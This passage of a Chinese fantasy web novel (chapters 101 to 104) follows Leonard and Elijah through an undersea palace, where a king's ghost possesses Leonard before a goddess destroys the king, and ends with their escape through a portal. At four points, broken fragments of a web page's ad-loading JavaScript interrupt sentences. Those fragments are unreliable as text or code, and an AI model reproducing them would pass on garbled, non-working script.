探照灯下,海洋盆底铺满洁白的沙,仿佛一块巨大的画布,小巧的白斑点河豚在细沙间忙忙碌碌,勾画出奇妙的图案,五颜六色的海荨麻水母点缀其间,而在画布中央——有一道漆黑的、深不见底的裂口,正静静地望着他们。 “什么鬼,别告诉我这是马里亚纳海沟。” “更像是异世界入口,妙极了,不是吗?”以利亚的声音听起来居然有些兴奋。莱纳德忍不住讥刺道:“什么时候‘异世界’跟‘妙极了’这两个词也能连在一块用了?” “放轻松点,时空旅行指南第28条,如果死亡不可避免,至少多巴胺会让你更享受这一过程。” “这话你怎么不跟这大鱿鱼讲?”莱纳德扯了扯紧紧缠在他胸口的腕足,险些又被吸盘吸住,“嘶,你刚才说什么指南?” “《时空旅行者漫游指南》,简称时空旅行指南,这可是居家旅行、穿越时空的必备法宝。” “倒不如叫地狱入门指南,还更贴切些。” “喂,别这么说,这本指南可是你跟我一起写的。” “我?你开什么玩笑。” “忘了也没关系,我会发给你一份PDF的。” “多谢,但还是免了吧。” 说话间,红魔鬼已经带着他们钻进了裂口,沉入了深渊。 探照灯和红魔鬼的光亮逐渐微弱,四周明亮了起来,莱纳德发现两侧的渊壁不见了,眼前水域豁然开阔,无数闪烁着荧光的美丽生物在他身边游动,没有一种他叫得上名字来。 “看那几条五彩鳗,那边。”以利亚忽然说。 “哪个是五彩鳗?”莱纳德左顾右盼,只觉得周围的鱼全是五彩斑斓的。 “蓝黄相间的鳗鱼,傻瓜。” “呃,以利亚,它们是在拼单词给咱们看吗?”莱纳德眨眨眼睛,确定自己没看错,那些飘带似的鳗鱼正在一丛珊瑚旁边跳啦啦队字母舞呢。 G—R—E—E—T—I—N—G—S 然后又是—— S—T—R—A—N—G—E—R—S 你们好,异乡人。 还怪有礼貌呢。 “高度变异,就像我说的那样。”以利亚若有所思,深渊里的生物都呈现出不同程度的突变,识字的五彩鳗也好,在珊瑚礁上变换警戒色的海蛞蝓也好,还有那两只拿饼海胆玩叠叠乐的王蟹也罢,关键不在于解读突变的意义,而在感染源。 是什么导致了这一切的发生? “老天,风琴河岸的蘑菇已经够叫人受的了。”莱纳德想起上一次在风琴河岸野餐的经历,忍不住说,“以利亚,下次饿了我们老老实实去汉堡王吃,好吗?” 以利亚不置可否地“哼”了一声,忽然眼睛一亮:“看起来我们的目的地到了。” 莱纳德转过头,看到了以利亚口中的目的地,眼睛立刻瞪圆了,喃喃道:“见鬼,还真是安徒生童话世界。” 矗立在两人面前的,是一栋由珊瑚和白贝壳做墙壁、海螺壳做塔顶的海底宫殿。 洪堡鱿鱼终于松开了腕足,将两人在宫殿门前放下,毫不留恋地转身游走了。 海水浮力和重力在这里竟达成了某种奇妙的平衡,他们不需要踩水也能平稳地站立走动,就像在地面上一样。 “以利亚,不用我提醒你吧,眼下可是个科普的好时机。”莱纳德一边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 揉捏被勒得发麻的手臂,一边看着盘附在门两侧石墩子上的巨大海葵,和在海葵触手间游动嬉闹的小丑鱼,心想,难道他们真的来到了传说中失落在海底的亚特兰蒂斯城? 以利亚的神情也有些不可思议,几乎带着一丝敬畏:“原来是深渊族。” “深渊族?”莱纳德追问,“你是说,有活人住在这宫殿里,就像亚瑟·库瑞?” 以利亚点点头:“非常古老又低调的种族,不少人都相信深渊族只是个传说。” 莱纳德抱起胳膊:“所以现在的情况是,古老低调的深渊族特地派一只巨型鱿鱼把咱们绑来,丢在宫殿门口,但却懒得派一个门卫把咱们接进去?” 话音未落,宫殿门便向外滑开了。 以利亚拽着莱纳德后退了几步,警惕地看着洞开的石门,但门只是打开了,并没有东西从里面出来,不管是人还是怪物。 “情况未明,还是小心为上。” “放松点,漫游指南先生,跟着多巴胺走。”莱纳德拍拍以利亚,上前几步走到门口,试探地喊了一声,“哈喽——” 没有回应,连回音都没有。 旁边,以利亚忍笑对他说了一句:“莱尼,你忘记把对外扬声器打开了。”他从莱纳德身边走进宫殿,挥手示意莱纳德跟上,自己在前面带路,一边说:“我对深渊族的了解并不多,除了他们世代隐居在海底深渊中,虽然拥有很高的智慧,却并不爱与外界打交道,可以说是与世无争。” “怪不得连最基本的社交礼仪都没有。”莱纳德尖刻地说,他的胸口和手臂还在隐隐作痛,毫无疑问,这都得感谢深渊族的待客之道。 “我更好奇的是,他们是用什么办法让深渊里的其他生物发生变异的,这可不是普通的教化或者驯服。”以利亚说,“你觉得呢?” “呃,T病毒?” “少看点电影,莱尼。” “那是游戏。” “随便吧。” 两个人走在白贝壳铺就的小路上,路两边的火珊瑚上附满了半透明的水螅,使得亮黄色的钙化分支看起来毛茸茸的,一只足有十英尺长的海参从珊瑚间探出头来,左摇右摆了一阵,蓦地张开口冲两人喷出一股又粗又圆的沙子,哦,看来那个不是头,而是屁股。 除此之外,并没有接近人形的生物跑出来对他们表示欢迎。 “我以为这地方多多少少会热闹些呢。”莱纳德忍不住说,“你发现了吗?外边那些跳舞的鱼、发光的小虾、背着海葵的螃蟹,这里都没有。” 以利亚“嗯”了一声。 “领地意识太强?还是里面的东西太危险,它们惹不起?” “也许是深渊族喜欢清净。”以利亚随口说,“也许……” “以利亚,拜托,我们讨论过你对‘也许’的用法了。” 以利亚叹了口气:“答应我,待会儿如果见到深渊族,一定要小心行事,别乱说话,好吗?” 莱纳德也叹了口气:“我开始觉得,我们搞不好不会见到深渊族了,这地方连个鬼都没有。” 关于这一点,他还真是大错特错。 101.第四章:昙雅 柏拉图在《对话录》里写道:某天,亚特兰蒂斯突然遭受猛烈的地震和洪水,仅仅一昼夜的时间,所有好战的人都被活埋在了地下,亚特兰蒂斯也就此沉入了海底。 即便有柏拉图背书,这则古希腊神话的真实性也仍有待考证,但从这座海底宫殿废弃的模样来看,里面住着深渊族的可能性恐怕还不如亚特兰蒂斯。 莱纳德把这个想法告诉以利亚,结果换来对方一记无奈的白眼。 以利亚穿过海草丛生的石头回廊,小心翼翼不去惊动石柱上盘绕的花斑海蛇,但后者懒洋洋的耷拉着脑袋,似乎对外来者靠近毫不在意。 不对劲,以利亚心想,不由得感到一阵焦躁,这地方的每一样东西,不管死的活的,都透着古怪。 莱尼还在絮叨什么失落的海底古城,以利亚忍不住打断他:“我早就想问了,你和你的亚特兰蒂斯执念到底是怎么回事?小时候爸爸给你讲的童话害你做噩梦了?” 就算做过噩梦那也是因为他老爸是个混蛋,莱纳德嗤之以鼻:“想想看吧,深渊族为什么会找咱们?如果有求于人,他们早就该敲锣打鼓地迎接咱们了,如果……”心脏忽然鼓足劲大跳了几下,顶得他肋骨直发疼,该死的,莱纳德捂住胸口,胡乱揉了揉,一定是被那八爪鱼勒出了内伤。 他喘了口气,又说:“如果想要咱俩的命,刚才那八爪鱼根本就不会放咱们走,不是吗?” 以利亚头也不回地反问:“所以你更愿意相信,我们只是恰巧在海上遭遇暴风雨,又恰巧被海龙卷带到深渊附近,最后恰巧坐在突变鱿鱼身上来到一座海底宫殿门口,原本关着的石门还在你靠近的时候恰巧打开了?” “我更愿意相信这座宫殿早就人去楼空了。”莱纳德说着推开手边虚掩的一道门板,探身进去扫视一圈,“看吧,没人。” 以利亚叹气:“你有什么建议?给柏拉图写封感谢信?” “我们离开。”莱纳德搓搓手臂,忽然发现自己很怀念海面上的温暖阳光和流动空气,以及干燥透气的衣服,“这地方越往深走越阴森,我的鸡皮疙瘩就没下去过。” “现在掉头还为时过早吧,中庭都没走完呢。” “凭咱们得运气,恐怕、恐怕走不完。” “你怎么……”以利亚显然想要完成海底探险,但他看到莱纳德脸上笼罩的阴影之后,后半句话就被咽了回去,对方像是忽然被某种恐惧攫住了,脸色发白,连眼珠都在眼眶中微微震颤。 “莱尼,”以利亚伸手过去检查他潜水服上的交互器,发现氧气量正在飞快地降低,“慢点呼吸,怎么回事?你要过度换气了。” “我不知道。”莱纳德喘了口气,感到一阵头晕目眩,“你试过慢点呼吸吗?” 以利亚伸手抓住莱纳德的肩膀,扶着他就地坐下:“别动,我需要检查一下你的潜水服。” “好,氧气快用完的话叫我一声。”莱纳德半闭上眼睛,嘟囔道,“要么干脆直接给我个痛快。” “别睡,莱尼,把眼睛睁开。”以利亚用力扭了他胳膊一下,把对方叫醒,“你的氧气罐还够二十个人呼吸一个月呢,别担心那个,我现在需要你看着我,告诉我你感觉怎么样,嗯?” “感觉像一坨屎。” “具体一点。” “唔,又干又硬……” 以利亚翻了个白眼:“好,保持这种精神头,现在告诉我你哪里不舒服。” 莱纳德的眼皮又有阖上的趋势:“昙雅。” “你说什么?”以利亚手指一僵,停住了动作,眉头也拧紧了。 “什么?”莱纳德打了个激灵,睁开眼睛,“我说什么了?” “昙雅,你说了昙雅。” “那是什么?” “深渊族信奉的神祇,”以利亚回头看了一眼空荡荡的宫殿,忽然站起身,“我知道是怎么回事了。” “老兄,真有你的。”莱纳德一边说一边慢慢从墙上滑倒,“我得睡一会儿了,五分钟之后叫醒我,好吗?” “嘿!嘿!”以利亚连忙把莱纳德拽起来,用肩膀顶住他,用力摇晃了几下,“你到底是怎么了?”他检查过潜水服,显示一切运转正常,但莱尼的生命体征却呈现出异样的波动。 就像,某种突变。 “来,我们这就离开。”以利亚架起莱纳德,尽管他还想探查一番印证自己的猜想,但莱纳德的情况不妙,他们必须尽快离开了。 “唔。” “先迈左腿,好,然后是右腿,像个好宝宝那样。” 莱纳德歪在他肩膀上,迷迷糊糊地哼了两声,完全是靠以利亚和潜水服的支撑才没就地倒下。 以利亚空着的手用力敲了敲他的面罩,大声说道:“喂,别睡,跟我说说话。” “话……” “给我讲讲亚特兰蒂斯,那是个什么样的地方?” “传说罢了。” “谁是亚瑟·奎莉?” “是亚瑟·库瑞。” “好吧,谁是亚瑟·库瑞?” “呃,亚特兰蒂斯之王?” “深渊族也有一个传说中的王,你知道是谁吗?” “谁?” “青木王,听说他原本不是皇族,却平息过深渊族的一场动乱,然后迎娶了深渊王的小女儿。” “所以,这个青木王是海洋版笨蛋杰克咯?” “谁是笨蛋杰克?” “安徒生童话,就像我说的,这里就是个该死的黑暗版安徒生童话世界。”随着他们距离宫殿门越来越近,莱纳德的精神似乎也逐渐恢复了,“而且说老实话,安徒生童话已经够黑暗了。” “我猜这次你是对的,海底探险是个坏主意。”以利亚叹了口气,“我们本该在海面上野餐的。” “谢了,我已经没胃口了。” “别灰心,野餐还在计划中,等我们像蝠鲼一样飞出去之后。” “老兄,蝠鲼的笑话早就不好笑了。” 两个人跨过宫殿门,外面仍然一派生机勃勃,五彩鳗翩翩起舞,长相丑陋的豆丁海马在珊瑚间穿梭来去,和半小时前没什么两样。 “等出去之后,”莱纳德一边说,一边迫不及待地往外跨了一大步,忽然间倒吸了一口气,后半句话像被一锤子砸坏的唱片机似的走调了,“我要—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 以利亚猝不及防被他拖得一个趔趄,两个人一块撞在珊瑚石上,惊跑了无数小丑鱼。 “莱尼?”以利亚连忙查看对方的氧气余量,读数明明还富足得很,但莱纳德却像条脱水的鱼一样,尖锐的倒气声顺着内置扬声器传了过来。 “我不能……”莱纳德双手用力扒拉着喉咙,感觉肺里的氧气正在迅速被抽干。 “该死、该死!”以利亚咬紧牙,忽然用力架起莱纳德,把他往宫殿里拖过去,“振作点,莱尼,我知道是怎么回事了,再坚持一下!” 他用最快地速度带着莱纳德跨进宫殿,一进门,莱纳德立刻长长地吸了一口气,不等喘匀,就倒在地上狼狈地咳嗽起来。 “咳,他妈的差点凉了,咳咳咳……”莱纳德终于翻了个身,筋疲力尽地平躺在地上,“以利亚,说实话,我们还活着对吧?” “逃过一劫。”以利亚一屁股在莱纳德身边坐下,如释重负地吁了口气。 “不是潜水服出了毛病。”等咳嗽平复下来,莱纳德从地上爬了起来,之前难受的感觉仍然在,就像一口气喝了太多钡餐,想吐却又吐不出来。“所以该死的是什么东西在搞鬼?把我的肺当成抹布拧,它希望我进化出腮来吗?” 以利亚脸色有些凝重:“也许是昙雅,深渊族不知出于何种原因离开了海底,但昙雅神还在。”他看着莱纳德,灰眼睛里闪动着莫名的神色,“也许是她想要留下你。” “留我?”莱纳德讶然失笑,“为什么?” “当然因为你很特别。”以利亚半是玩笑半是认真地回答。 莱纳德龇起牙搓了搓手臂:“谢了,但你不用非得把我形容得像个智障儿童。” 以利亚摇摇头:“当初在风琴河岸,时光榕树也看中了你,还记得吧?” “那是因为……”莱纳德忽然皱起眉,因为什么来着?他试图回忆同时光榕树的对话,脑海中却只飘过几个模糊的词句,关于他迷雾重重的过去,和充满变数的未来。 他叹了口气:“只有一点很确定,天选之子绝对不会像我这么倒霉。” 以利亚笑了笑:“相信我,被天选中也绝对算不上什么好运气。”他站起来,顺便伸手把莱纳德也拉起来,对他说:“看起来我们还是得回到宫殿里面去,找到昙雅神的祭坛。” “要是我半路再倒地了怎么办?”莱纳德叹气道,“很不想这么告诉你,但要不是我忍得努力,随时都会吐在你身上。” 以利亚沉吟着:“我有一个猜想,不一定对。” “说来听听。” “你刚才是先萌生去意,才开始难受的,对吗?” “呃,去意,这要怎么……”莱纳德皱紧眉头,但刚才的一连串事情发生得太突然、太混乱,他压根不记得自己是什么时候“萌生去意”的了。 “如果真的是昙雅神想要留下你,她可能会用这样的方式阻止你离开。” “所以我只要管住自己的想法就没事了?” “也许……” “行,死马当作活马医吧。”莱纳德抖擞精神,朝以利亚伸出手,“是神是鬼,进去瞧瞧就知道了。” 102.第五章:鬼魂 “这个昙雅神,究竟是什么东西?”返回的路上,莱纳德问以利亚,“我以为这些图腾啊、神祇啊都是人类想象出来的呢。” 以利亚回答:“事实上,大部分受到当地住民崇拜和祭祀的神祇都有迹可循,只不过并不完全遵循人们的希冀,群体意念的力量比你想象得要强大。” 莱纳德惊讶地笑起来:“所以圣诞老人是真的?” “如果你是问驾驶驯鹿雪橇车、在每家每户的圣诞树下放礼物的白胡子老头,不,那不是圣诞老人,只是孩子们故作神秘的爸妈。” 以利亚一把拍掉对方乱摸氧气罩的手,又继续说道:“但如果你是问圣诞夜守护神,他的确存在,只不过他从不穿大码红色套装,也不爱钻别人家的烟囱。” 莱纳德嗤之以鼻:“别开玩笑了,你才没见过圣诞老人。” “嘿,现在下结论可为时过早。”以利亚偏过头得意地眨眨眼睛,忽然脸色一变,伸出手抓住莱纳德的手腕,皱眉道,“别乱动氧气罩,你怎么了?” 莱纳德讷讷地放下手:“没什么,脸有点痒还摸不着,可能是汗水蛰的。”他甩甩脑袋,但附着在脸上的汗渍显然没那么容易甩掉。 “别动,让我看看。” 以利亚警惕地打量着莱纳德,没在他脸上发现什么异常,他按下对方潜水服上的自清洁按钮,立刻有细小的喷雾充满面罩。他解释道:“虽然比不上洗脸,但这种活性粒子能清洁面罩,还能净化空气,你用不着憋气,莱尼,就算吸进气管里,它们也能自行找到路出来。” “行吧。” 几秒钟后,喷雾便消失了,莱纳德做了个鬼脸:“好像好多了。”事实上,离‘好多了’至少还有十八条街,那种针刺似的麻痒变成了持续的刺痛,微弱,但就像被蚊子叮的包一样,再过几分钟就会成为无法忽视的存在。 “没事就好。”尽管嘴上这么说,可以利亚看上去并不放心,似乎有某种预感似的,“任何地方不舒服,都要随时告诉我。” “知道了,以莱奶妈。” “别叫我以莱。” “哦,只叫奶妈就够了?” “随便你,如果你承认自己只是个小宝宝的话。” “你和你的尖牙利嘴,哼,没有了我可怎么办?” “无聊到死吧。” “哈哈,这个笑话讲得好。” 两人穿过中庭,就快要走到神殿时,莱纳德忽然毫无预兆地往前一头栽倒。 “莱尼!”以利亚一把抓住他,没让对方摔个脸着地,透过氧气面罩,莱纳德的脸上竟凭空爆出一束刺眼的白光,看形状像是某种字符。 “我……”莱纳德摇摇晃晃地站稳,脸上的白光收敛了一些,纹路却更加明显,以利亚认出了这种符号,那是古老的时光族保护咒,可以替被施咒者抵挡至少三次外来伤害。 他的手笔。 以利亚不记得自己什么时候在莱纳德脸上画过这种符咒,但眼下不是计较这事的好时机,更重要的是,符咒起效意味着有东西,或是有某种力量,正在伤害莱纳德。 究竟是什么? 以利亚周转四顾,却连半个影子都没看到。 “以利亚?我感觉有点……”莱纳德的声音微弱得像叹息,不等他说完,符咒爆出最后一丝微弱的亮光,像苟延残喘的蜡烛屁股似的灭了下去。 莱纳德两眼翻白,倒在了以利亚的肩膀上。 “嘿,莱尼,振作起来。”以利亚挺起肩膀撑住莱纳德,不等他扶对方躺倒,莱纳德忽然在他怀里嗤嗤地笑起来,笑声中带着某种不怀好意的黏腻:“与其担心我,不如多担心担心你自己吧。” “莱尼?”以利亚肩膀一僵,他紧急向后一闪,才躲开对方一记又快又凶的掏心拳,不等站稳,对方又迅速后退拉开了距离,笑着摊开手:“好吧,看来你不是喜欢惊喜的那种人。” 以利亚眯起眼睛,一字一顿:“深渊族亡魂。” “青木,正是本人。”莱纳德矜持地说道,他的两颗瞳仁由蓝转黑,很快扩散到了整颗眼珠,他活动了一下四肢,“当然,离本人还差那么一点,但非常时期,我可以忍受这种瑕疵。” 他忽然冲以利亚晃了晃手指:“如果我是你,就不会随便乱动,我知道你能远程控制这件潜水服,袖子里还藏着不少武器,但别忘了,我也能让你的好朋友随时窒息,就像我刚才展示的那样。” 以利亚垂下双手,盯着对方:“你想怎样?” 青木微笑起来,回答道:“很简单,我想跟你做个交易。” 以利亚板着脸:“我从不跟鬼魂做交易。” 青木仰头笑出了声,但脸上的神情表明他大受冒犯,克制着怒气故作轻蔑道:“所有时光族都这么愚蠢自大?还是只有你这样?” “既然知道我是时光族,你就不该在我面前虚张声势。”以利亚说,“你知道我能做到哪一步。” “哈哈,说起虚张声势,还是你更胜一筹。” 青木玩味地打量着以利亚,黑眼睛里盛满嘲弄,不紧不慢地继续说道:“关于你们俩,深渊族虽然久居深海,却也听说过不少传闻呢,一个为了复活对方诅咒自己,另一个为了解除诅咒堕入魔道,认真的?要我说,的确是一对疯子能干出来的事。” “你恐怕认错人了。” “相互增进了解嘛,我的朋友,毕竟你们是大名鼎鼎的星际漫游者,而我只是个失落王国的君主,我想,你对深渊族的了解并不比这个名字本身多出多少吧。” “我想,”以利亚反唇相讥,“了解它已经是过去式就足够了。” “哈,嘴硬的话不妨留到以后,你要是个聪明人,就该听听我的交易条件。”青木不给以利亚反驳的机会,抬起右手,掌心向上,“我借用你的能力复活我的帝国,重现昔日荣光,然后作为回报,”他抬起左手,比划出天平两端,“我放过这具皮囊,你和你的朋友再次上路,带着你们扭曲疯狂的关系随便漫游去哪儿,听起来怎么样?” 以利亚忽然笑了:“昔日荣光?” 他的语气并不带嘲讽,但青木的表情却仿佛被重重打了一拳,尖声道:“怎么?你自己无知可不代表深渊族不曾伟大过!” 以利亚耸耸肩:“随便吧,但灭亡就是灭亡,就算是我也没办法复活一个帝国。” 青木的脸扭曲了一下,随即冷笑道: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “那就做好准备跟你的朋友永别吧。” 以利亚竟然无所谓地笑起来:“你可以试试,反正我不是第一次复活他了。”他说着沉下脸,语气森然,“但那之后我要对你做的事可就没那么仁慈了。” “哈,我已经是鬼了,你还能把我怎么样?” “这宇宙里多得是你没见识过的去处,专为你这样不识好歹的孤魂野鬼准备的。” “那我等不及要见识一下了。”青木说着忽然一伸手,竟然把氧气面罩摘了下来,海水立刻涌进了鼻腔,他没立刻呛水,主动憋着气,笑吟吟地看向以利亚。 一分钟过去了。 以利亚板着脸一动不动,仿佛化身成了一座大理石雕塑。 两分钟过去。 青木吐出一连串泡泡,血丝从他的鼻腔里飘出来,一眨眼就被海水稀释了。 以利亚眼角的肌肉抽动着,却仍旧一言不发。 三分钟过去。 青木拿准只要自己还在莱纳德的身体里,哪怕变成一具尸体,以利亚也不会对他动手,因此有恃无恐,反而从容地屏住呼吸,似乎觉得对方的反应很有趣。 胸腔里那一对呼吸器官已经快要逼到极限,终于咳呛吸气时,青木忍不住大笑起来,立刻呛进了更多的水,海水从鼻腔灌进气管,对早已灼烧的肺部狠狠地火上浇油。 他脸上的表情无法控制地痛苦扭曲起来,但没关系,痛苦的不是他。 “够了!”以利亚终于忍无可忍地吼道。 青木重新戴上氧气面罩后,仍然咳嗽不止,他花了些功夫才理顺气息:“很有趣的体验,咳咳,你知道的,做了一辈子用腮呼吸的深渊人,我还是头一次知道溺水是什么感觉,肺部损伤也许是永久的,但很值得,你说呢?” 以利亚的表情难看得吓人:“你最好开始说有用的话。” “很高兴你不再说废话了。”青木讥刺道,鼻血又流了下来,他满不在乎地伸舌头舔掉,继续道,“我想我们可以继续谈谈刚才的交易了?” 以利亚沉默了一会儿,青木耐心地等待着,对方终于开口了:“复活整个帝国需要的咒术不是一时半会儿就能完成的。” 青木笑了笑:“没关系,莱尼还剩半条命能挥霍呢。”他眯起眼睛:“开始吧,时光族,从复活我开始。” “复活咒可不是这么运作的,要么只复活你一个,要么就全数复活,你自己选。” “别跟我玩文字游戏!也别想耍花招,我可不是不识货的白痴。”青木恶狠狠地说,突然,他的脸一下子扭曲起来,眼睛里的黑气骤然紧缩,竟有一瞬恢复了原本的蓝色。 “以利亚,不要!” 莱纳德的声音很快被扼死在喉咙里,黑气再次占据上风,青木狞笑着夺回控制权,他不自然地转动手腕和脖子,像断了一半线的木偶,威胁道:“开始吧,动作再慢点,我保证这就是你最后一次听到他的声音。” 以利亚的灰眼睛里闪过挫败神色,取出了金属笔。 他一提起笔,海水就开始激荡,仿佛感应到了强大的某种力量,而这次,笔尖闪烁的不再是莹莹绿光,而是凝重的暗红色。 就像血。 103.第六章:昔日荣光 深红色的符咒在海水中荡漾开来,向外扩散,如同被注入了生命力一般。 同时,以利亚脸上的血色也在一点点消失。 宫殿里为数不多的海洋生物原本一个个都没精打采,但随着符咒蔓延,它们像是察觉到了海水中微妙变化,变得躁动不安。一只胆小的寄居蟹从珊瑚丛里跑出来,慌不择路地逃之夭夭,竟连背上硕大的壳子都丢掉了。 青木微笑起来。 蓦地,几根石柱在红光的包裹中拔地而起,紧接着是神殿缺损的半边屋顶和石廊,一同出现的,还有无数鱼、虾、海星,和大大小小的桡足类动物和腕足类动物,原本空荡荡的庭院顷刻间热闹了许多。 还有火红的玫瑰岩,深蓝的珊瑚树,和蚌壳堆成的花坛,尽管沾染着诡异红光,却仍能一瞥昔年的瑰丽模样。 游动闪烁的红色光点凝聚出一个又一个高大身影,像模糊的鬼影,或是信号不良时接收到的画面,时隐时现,他们或奔走逃窜、或力竭倒地,显然,不管当年深渊中发生了何种灾难,都波及了生活在这里的深渊族人。 而在强大的符咒召唤下,他们正在回归。 以利亚仍在画出更多咒符,几乎整个人都包裹在幽暗的红色中,隔着氧气面罩,他的脸白得快要透明了。 “啊,芝兰蒂亚,太久不见了。”青木喃喃道,脸上的神色平静而又疯狂。他顾不上庭院里奔逃的族人鬼影,迫不及待地抬脚往神殿中走去,深渊王青木的原身就躺在大殿石棺里,此刻,便是复活之时。 激动之下,他并没有注意到以利亚眼睛里一闪而过的笑意。 神殿仍是青木记忆中的模样,他刚踏上第一级台阶,盘踞在两侧石柱上的巨环海蛇便同时向他俯首致意,青木不由得很满意,显然,他的臣民还没有忘记自己的王。 石棺位于神殿正中央,左侧是昙雅神的雕像,代表深渊族的神圣之力,右边的雕像是他的王后珊瑚,代表深渊族的灵魂血脉,两座雕像都低着头,向他们的王臣服。 青木没去看任何一个石雕,抬手打开石棺,里面躺着一具白骨,他拧起眉头,符咒明明生效了,连那些庶民都在召唤下现形了,为什么君王的白骨却没有长出血肉? 要是那个自以为是的时光族胆敢捉弄他,青木恼怒地咬紧牙关,铁锈味在嘴巴里弥漫开来,他发誓,一定要叫这具皮囊尝尝什么叫做求生不得、求死不能…… 但不等他转过更多恶毒念头,白骨便发生了变化,只是顷刻功夫,血肉便生长起来,长生藻织就得王袍再次加身,恢复了昔日模样。 终于,他等这一刻已经等得太久了。 青木在看到王冠时露出了笑容,毫不掩饰的贪婪神色在这张脸上显得极不相称,活像雪白沙地上的丑陋狼鳗。 “现在该兑现你的诺言了,青木。”以利亚的声音忽然在他身后响起,尽管一力强撑,也仍然难掩虚弱。 “哦,这个嘛。”青木回过头,看到对方摇晃着靠在石柱上,一副力不从心的模样,忍不住讥笑道,“我会考虑考虑的。” “你……”以利亚似乎气结,咬紧牙关,连一句话都说不出来了。 “深渊族有一句老话,叫做到嘴边的鱼千万别放走,等到它长牙可悔之晚矣。”青木看起来不打算放过气死以利亚的机会,摊开手,得意洋洋地继续说道,“时光族,你真应该在耗光自己的力气之前好好对付我的,尽管把你吹嘘的手段都用上,或许还能鱼死网破、玉石俱焚,谁知道呢?但现在嘛……” 他伸手抓住了石棺中的尸体,感受着涌动回到自己身体中的力量,哂笑道:“你只能眼睁睁地看着我亲手把这具皮囊撕碎了。” 以利亚脸色一变,拼尽全力朝石棺冲了过去:“不要!” 但为时已晚。 石棺中的尸体坐了起来,与此同时,莱纳德眼睛里的黑色倏地褪去,蓝色恢复的瞬间,那具尸体也睁开了眼睛,他悚然一惊,该死,这肯定不是什么好兆头。 但不等莱纳德重新掌握身体的控制权,那具复活的尸体便猛地伸出手,五指如利爪,赫然洞穿了他的胸口! 莱纳德的眼珠在眼眶里滚动了一下,低头看着自己的胸口,脸上露出了半是惊恐、半是不可置信的神色。 同样的神色也出现在刚刚复活的青木脸上。 紧接着,刺眼的白色光芒包裹了一切。 不等白光散去,以利亚便从旁边冲了上来,并指如刀,朝青木的手臂上用力斩去,那条刚刚生出血肉的手臂眨眼间变回枯骨,竟在以利亚一斩之下化为齑粉。 “你怎么敢!” 青木的怒吼声霎时间冲破神殿屋顶,他身下的石棺碎裂开来,露出了再次白骨化的半边身子,他抬起头,半张脸上的血肉正飞快腐朽,脓血顺着牙齿和下巴滴答落下,显得格外狰狞:“你们要付出代价!” “付出代价的恐怕是你!” 以利亚拖着莱纳德飞快退开,破碎的石棺左侧,昙雅神的雕像抬起了头,合抱在胸前的双手伸展开来,像是打算给青木一个拥抱。 青木目眦尽裂,石雕朝他走过来时,他竟骇然惨叫起来。 以利亚嘴角划过一丝讥诮的笑意——符咒复活的可不止青木,就像他说过的,昙雅神才是真正召唤他们来的,而他要赌的,只不过是青木和昙雅不是一路神,或一路鬼。 就青木此刻惊恐绝望的嘴脸来看,他赌赢了。 昙雅神优雅地吞噬青木时,莱纳德还在手忙脚乱地摸索自己的胸口,那地方本该有个血洞,连同他的心脏一块被青木抓了个粉碎,潜水服上的破口就是证据,可他身上偏偏连道划伤都没有,皮肤光洁得犹如新生的婴儿。 一定是刚才的白光,他茫然地想,但那白光又是什么? 鼻腔里的血腥味和肺管理火烧火燎的感觉倒是真实得很,莱纳德隐约记得自己被附身时发生的事,该死的老鬼差点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 害他活活呛死。 “这他妈怎么……”莱纳德脱口而出,随即被以利亚拽了一个踉跄,他反手抓住以利亚,可对方竟好像连站住的力气都没了,带得两个人一齐滚倒在地。 “以利亚?”莱纳德一骨碌爬起来,好在对方意识还是清醒的,也没受什么致命外伤,只是被刚才庞大的符咒抽干了,他喘了口气,往后一屁股坐倒,忍不住骂道,“妈的,差点被你吓死。” “彼此彼此。”以利亚瘫在地上没有要起来的意思,他吃力地举起手里的金属笔,递给莱纳德,“我们得尽快离开,这个地方就要毁了。” “要毁了?”莱纳德看着周围碎裂的石柱和惊慌逃窜的鱼虾,忽然间明白了昙雅神的目的,她从一开始就打算让这个地方永远覆灭,就像亚特兰蒂斯那样—— 至此,那个曾经盛极一时的王国和属于它的所有好战的人都埋入海底,不复存在。 “莱纳德,集中注意力,我们需要一道传送门!”以利亚的声音把莱纳德拽回现实,麻烦不断的现实。 “传送门?”莱纳德低下头,焦躁地反问,“怎么可能?我做不到向你那样写方程、做运算。”他握着金属笔,好像个第一次拿菜刀的厨房小白,连切葱都不知道从何处下手。 更加糟糕的是,身边的海水开始冒出一串串白色的气泡,仿佛即将要沸腾起来似的。 莱纳德胸口的破洞刚才灌进了不少海水,他能第一时间感觉到水温的变化,每一个裸露在外的皮肤细胞都在告诉他,必须要抓紧了,如果他们不想被活活煮死的话。 “我们先用推进装置离开不行吗?”莱纳德抱着最后一丝希望。 “来不及了。”以利亚一把抓住莱纳德握着金属笔的右手,笔尖立刻亮起绿色荧光,他带着莱纳德在空中拖出歪歪扭扭的方框,然后是蝌蚪似的符号,“相信我,你有这个力量,只是、只是缺乏练习。” “什么力量?”莱纳德心惊胆战地攥紧手指,以利亚的手像是随时都会无力松开,他只好把另一只手也盖在两只手上,不知道是不是他的错觉,手掌覆盖上去的一瞬间,金属笔尖的绿色荧光似乎更加明亮了。 尽管是以利亚在拖动他的手,但他似乎对每一个笔下成形的字符都有所预感,一笔一划,就像某种古老的旋律似的,这些符号仿佛也曾经深深刻印在他脑子里。 这是莱纳德第一次感受到两人之间的联结——那种隐秘的、无法形容的联结——他能清晰地感知到以利亚此刻的虚弱和疲惫,但同时也毫不怀疑,以利亚会挺过去的,就像眼前的绿光,微弱,却不至于熄灭。 只要联结仍在,他们就是安全的。 连死神也无法撼动这一点。 “我们要去哪儿?” 传送门显形时,莱纳德问道,身旁的世界正在毁灭,他却忽然感到一股新生似的喜悦。 “安全屋。”以利亚说,语气熟练,像是已经这么回答过上千次。 104.第七章:春之森林 嗵—— 莱纳德和以利亚双双落在一池水中,溅起无数水花,还有受惊蹿起的蝌蚪和小青蛙,所幸池水并不深,柔软的淤泥在消减冲击上也帮了大忙,除了屁股摔得有点痛之外,莱纳德总体感觉还不赖。 